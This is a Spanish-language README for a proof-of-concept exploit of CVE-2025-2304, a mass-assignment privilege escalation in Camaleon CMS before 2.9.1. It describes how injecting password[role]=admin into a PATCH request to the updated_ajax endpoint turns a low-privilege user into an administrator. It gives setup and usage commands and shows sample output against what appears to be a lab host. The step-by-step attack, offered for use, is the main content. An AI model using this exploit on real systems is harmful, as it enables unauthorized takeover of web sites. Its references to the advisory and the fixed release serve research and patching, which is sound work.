CVE-2025-2304 — Camaleon CMS Escalada de Privilegios por Asignación Masiva (PoC)

Vulnerabilidad de escalada de privilegios en Camaleon CMS < 2.9.1. El endpoint updated_ajax en UsersController llama a params.require(:password).permit! sin filtrar, permitiendo que cualquier parámetro sea asignado masivamente. Un usuario autenticado con pocos privilegios puede escalar a administrador inyectando password[role]=admin junto con una solicitud de cambio de contraseña.

Cómo funciona

1. Inicia sesión con las credenciales proporcionadas para obtener una sesión válida.
2. Obtiene el ID y rol del usuario actual desde la página de perfil.
3. Envía una solicitud PATCH a /admin/users/<id>/updated_ajax con password[role]=admin inyectado en los parámetros de contraseña.
4. Verifica que el rol se haya actualizado a admin.

Requisitos

• Python 3
• Instalar dependencias:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4

Uso

python3 exploit.py http://TARGET -u USER -p PASS

Ejemplo:

$ python3 exploit.py http://facts.htb -u esteban -p password123
[*] Iniciando sesión como esteban...
[+] Sesión iniciada correctamente
[*] ID de usuario: 3, rol actual: editor
[*] Enviando payload de explotación...
[+] ¡Escalada de privilegios exitosa! El usuario ahora es admin.
[+] Inicia sesión en http://facts.htb/admin con tus credenciales.

Referencias

• CVE-2025-2304
• Aviso de Investigación de Tenable
• Lanzamiento de Camaleon CMS 2.9.1 (corrección)

Créditos

• Descubrimiento: Tenable Research
• Limpieza y simplificación: Esteban Zárate